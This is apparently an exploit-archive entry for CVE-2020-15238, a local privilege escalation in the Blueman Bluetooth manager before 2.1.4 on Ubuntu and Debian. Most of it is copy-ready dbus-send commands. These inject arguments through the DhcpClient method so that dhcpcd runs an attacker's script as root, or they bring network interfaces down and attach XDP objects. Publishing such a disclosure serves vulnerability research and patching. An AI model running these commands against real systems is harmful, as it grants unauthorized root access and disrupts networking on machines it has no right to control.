Blueman < 2.1.4 - Local Privilege Escalation

# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# 
# The DhcpClient method of the d-bus interface to blueman-mechanism 
# is prone to an argument injection vulnerability. 
# On systems where the isc-dhcp-client package is removed 
# and the dhcpcd package installed, this leads to Local 
# Privilege Escalation to root from any unprivileged user. 
# See attached python script for a working exploit. Or use 
# this oneliner with a shellscript "/tmp/eye":
 
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

# This happens because the argument is not sanitized before 
# being used as an argument to dhcpcd.
# 
# Also on default installations with isc-dhcp-client installed, 
# this can lead to DoS attacks by bringing any interface down 
# as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

# Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

# This both happens because the argument is passed to "ip link" 
# unsanitized.